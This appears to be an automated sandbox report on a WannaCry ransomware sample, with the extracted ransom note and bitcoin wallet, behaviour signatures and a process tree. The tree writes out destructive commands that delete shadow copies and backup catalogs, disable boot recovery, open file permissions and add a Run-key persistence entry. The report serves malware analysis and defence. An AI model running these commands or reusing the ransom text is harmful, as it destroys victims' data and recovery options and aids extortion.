Analysis
-
max time kernel
142s -
resource
win7v191014 -
submitted
30-12-2019 20:47
Task
task1
Sample
ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
Resource
win7v191014
0 signatures
Task
task2
Sample
ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
Resource
win10v191014
0 signatures
General
-
Target
test.zip
-
Sample
191230-nn16lt3qm2
-
SHA256
72b228f51cf5a1b7600f0e0848145e4e54e54838977a5a5b1c85f69b64b92cf5
Score
10/10
Malware Config
Extracted
Path
C:\Users\Admin\AppData\Local\Temp\@[email protected]
Family
wannacry
Ransom Note
Q: What's wrong with my files?
A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted.
If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!
Let's start decrypting!
Q: What do I do?
A: First, you need to pay service fees for the decryption.
Please send $300 worth of bitcoin to this bitcoin address: 12t9YDPgwueZ9NyMgw519p7AA8isjr6SMw
Next, please find an application file named "@[email protected]". It is the decrypt software.
Run and follow the instructions! (You may need to disable your antivirus for a while.)
Q: How can I trust?
A: Don't worry about decryption.
We will decrypt your files surely because nobody will trust us if we cheat users.
* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window.
�
Wallets
12t9YDPgwueZ9NyMgw519p7AA8isjr6SMw
Signatures
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 1160 taskhsvc.exe -
Wannacry
WannaCry is a ransomware cryptoworm.
-
Deletes shadow copies 2 TTPs 2 IoCs
pid Process 1052 WMIC.exe 1200 vssadmin.exe -
Drops startup file 6 IoCs
description ioc Process File created (read-only) C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\~SD6738.tmp ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\~SD6738.tmp ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File deleted C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\~SD6738.tmp ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File created (read-only) C:\Users\Admin\AppData\Roaming\Microsoft\Word\STARTUP\~SD675B.tmp ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Word\STARTUP\~SD675B.tmp ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File deleted C:\Users\Admin\AppData\Roaming\Microsoft\Word\STARTUP\~SD675B.tmp ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\Desktop\\@[email protected]" -
Suspicious use of AdjustPrivilegeToken 27 IoCs
description pid Process Token: SeBackupPrivilege 1816 vssvc.exe Token: SeRestorePrivilege 1816 vssvc.exe Token: SeAuditPrivilege 1816 vssvc.exe Token: SeIncreaseQuotaPrivilege 1052 WMIC.exe Token: SeSecurityPrivilege 1052 WMIC.exe Token: SeTakeOwnershipPrivilege 1052 WMIC.exe Token: SeLoadDriverPrivilege 1052 WMIC.exe Token: SeSystemProfilePrivilege 1052 WMIC.exe Token: SeSystemtimePrivilege 1052 WMIC.exe Token: SeProfSingleProcessPrivilege 1052 WMIC.exe Token: SeIncBasePriorityPrivilege 1052 WMIC.exe Token: SeCreatePagefilePrivilege 1052 WMIC.exe Token: SeBackupPrivilege 1052 WMIC.exe Token: SeRestorePrivilege 1052 WMIC.exe Token: SeShutdownPrivilege 1052 WMIC.exe Token: SeDebugPrivilege 1052 WMIC.exe Token: SeSystemEnvironmentPrivilege 1052 WMIC.exe Token: SeRemoteShutdownPrivilege 1052 WMIC.exe Token: SeUndockPrivilege 1052 WMIC.exe Token: SeManageVolumePrivilege 1052 WMIC.exe Token: 33 1052 WMIC.exe Token: 34 1052 WMIC.exe Token: 35 1052 WMIC.exe Token: SeTcbPrivilege 1092 taskse.exe Token: SeTcbPrivilege 1052 taskse.exe Token: SeTcbPrivilege 764 taskse.exe Token: SeTcbPrivilege 568 taskse.exe -
Adds Run entry to start application 2 TTPs 1 IoCs
description ioc Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\ftqqepmlkbmm513 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\tasksche.exe\"" -
Modifies registry key 1 TTPs 1 IoCs
pid Process 1924 reg.exe -
Suspicious use of WriteProcessMemory 26 IoCs
description pid Process procid_target PID 1536 wrote to memory of 1100 1536 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 27 PID 1536 wrote to memory of 1052 1536 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 29 PID 1536 wrote to memory of 1980 1536 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 31 PID 1536 wrote to memory of 1960 1536 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 32 PID 1960 wrote to memory of 1072 1960 cmd.exe 34 PID 1536 wrote to memory of 1976 1536 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 36 PID 1536 wrote to memory of 1280 1536 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 37 PID 1280 wrote to memory of 1696 1280 cmd.exe 39 PID 1976 wrote to memory of 1160 1976 @[email protected] 41 PID 1696 wrote to memory of 1560 1696 @[email protected] 43 PID 1560 wrote to memory of 1200 1560 cmd.exe 45 PID 1560 wrote to memory of 1052 1560 cmd.exe 47 PID 1536 wrote to memory of 1696 1536 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 49 PID 1536 wrote to memory of 1092 1536 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 50 PID 1536 wrote to memory of 1408 1536 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 51 PID 1536 wrote to memory of 1468 1536 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 52 PID 1468 wrote to memory of 1924 1468 cmd.exe 54 PID 1536 wrote to memory of 1392 1536 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 55 PID 1536 wrote to memory of 1052 1536 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 56 PID 1536 wrote to memory of 1972 1536 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 57 PID 1536 wrote to memory of 1624 1536 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 59 PID 1536 wrote to memory of 764 1536 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 60 PID 1536 wrote to memory of 1712 1536 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 61 PID 1536 wrote to memory of 1304 1536 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 64 PID 1536 wrote to memory of 568 1536 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 65 PID 1536 wrote to memory of 904 1536 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 66 -
Loads dropped DLL 5 IoCs
pid Process 1536 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 1072 cscript.exe 1280 cmd.exe 1976 @[email protected] 1160 taskhsvc.exe -
Executes dropped EXE 16 IoCs
pid Process 1980 taskdl.exe 1976 @[email protected] 1696 @[email protected] 1160 taskhsvc.exe 1696 taskdl.exe 1092 taskse.exe 1408 @[email protected] 1392 taskdl.exe 1052 taskse.exe 1972 @[email protected] 1624 taskdl.exe 764 taskse.exe 1712 @[email protected] 1304 taskdl.exe 568 taskse.exe 904 @[email protected] -
Suspicious use of SetWindowsHookEx 6 IoCs
pid Process 1976 @[email protected] 1696 @[email protected] 1408 @[email protected] 1972 @[email protected] 1712 @[email protected] 904 @[email protected] -
Modifies file permissions 1 TTPs 1 IoCs
pid Process 1052 icacls.exe -
Views/modifies file attributes 1 TTPs 1 IoCs
pid Process 1100 attrib.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe"C:\Users\Admin\AppData\Local\Temp\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe"1⤵
- Drops startup file
- Suspicious use of WriteProcessMemory
- Loads dropped DLL
PID:1536 -
C:\Windows\SysWOW64\attrib.exeattrib +h .2⤵
- Views/modifies file attributes
PID:1100
-
-
C:\Windows\SysWOW64\icacls.exeicacls . /grant Everyone:F /T /C /Q2⤵
- Modifies file permissions
PID:1052
-
-
C:\Users\Admin\AppData\Local\Temp\taskdl.exetaskdl.exe2⤵
- Executes dropped EXE
PID:1980
-
-
C:\Windows\SysWOW64\cmd.execmd /c 71971577742443.bat2⤵
- Suspicious use of WriteProcessMemory
PID:1960 -
C:\Windows\SysWOW64\cscript.execscript.exe //nologo m.vbs3⤵
- Loads dropped DLL
PID:1072
-
-
-
C:\Users\Admin\AppData\Local\Temp\@[email protected]2⤵
- Suspicious use of WriteProcessMemory
- Loads dropped DLL
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:1976 -
C:\Users\Admin\AppData\Local\Temp\TaskData\Tor\taskhsvc.exeTaskData\Tor\taskhsvc.exe3⤵
- Suspicious behavior: EnumeratesProcesses
- Loads dropped DLL
- Executes dropped EXE
PID:1160
-
-
-
C:\Windows\SysWOW64\cmd.exePID:1280
-
C:\Users\Admin\AppData\Local\Temp\@[email protected]3⤵
- Suspicious use of WriteProcessMemory
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:1696 -
C:\Windows\SysWOW64\cmd.execmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet4⤵
- Suspicious use of WriteProcessMemory
PID:1560 -
C:\Windows\SysWOW64\vssadmin.exevssadmin delete shadows /all /quiet5⤵
- Deletes shadow copies
PID:1200
-
-
C:\Windows\SysWOW64\Wbem\WMIC.exewmic shadowcopy delete5⤵
- Deletes shadow copies
- Suspicious use of AdjustPrivilegeToken
PID:1052
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\taskdl.exetaskdl.exe2⤵
- Executes dropped EXE
PID:1696
-
-
C:\Users\Admin\AppData\Local\Temp\taskse.exetaskse.exe C:\Users\Admin\AppData\Local\Temp\@[email protected]2⤵
- Suspicious use of AdjustPrivilegeToken
- Executes dropped EXE
PID:1092
-
-
C:\Users\Admin\AppData\Local\Temp\@[email protected]PID:1408
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "ftqqepmlkbmm513" /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Temp\tasksche.exe\"" /f2⤵
- Suspicious use of WriteProcessMemory
PID:1468 -
C:\Windows\SysWOW64\reg.exereg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "ftqqepmlkbmm513" /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Temp\tasksche.exe\"" /f3⤵
- Modifies registry key
PID:1924
-
-
-
C:\Users\Admin\AppData\Local\Temp\taskdl.exetaskdl.exe2⤵
- Executes dropped EXE
PID:1392
-
-
C:\Users\Admin\AppData\Local\Temp\taskse.exetaskse.exe C:\Users\Admin\AppData\Local\Temp\@[email protected]2⤵
- Suspicious use of AdjustPrivilegeToken
- Executes dropped EXE
PID:1052
-
-
C:\Users\Admin\AppData\Local\Temp\@[email protected]PID:1972
-
-
C:\Users\Admin\AppData\Local\Temp\taskdl.exetaskdl.exe2⤵
- Executes dropped EXE
PID:1624
-
-
C:\Users\Admin\AppData\Local\Temp\taskse.exetaskse.exe C:\Users\Admin\AppData\Local\Temp\@[email protected]2⤵
- Suspicious use of AdjustPrivilegeToken
- Executes dropped EXE
PID:764
-
-
C:\Users\Admin\AppData\Local\Temp\@[email protected]PID:1712
-
-
C:\Users\Admin\AppData\Local\Temp\taskdl.exetaskdl.exe2⤵
- Executes dropped EXE
PID:1304
-
-
C:\Users\Admin\AppData\Local\Temp\taskse.exetaskse.exe C:\Users\Admin\AppData\Local\Temp\@[email protected]2⤵
- Suspicious use of AdjustPrivilegeToken
- Executes dropped EXE
PID:568
-
-
C:\Users\Admin\AppData\Local\Temp\@[email protected]PID:904
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1816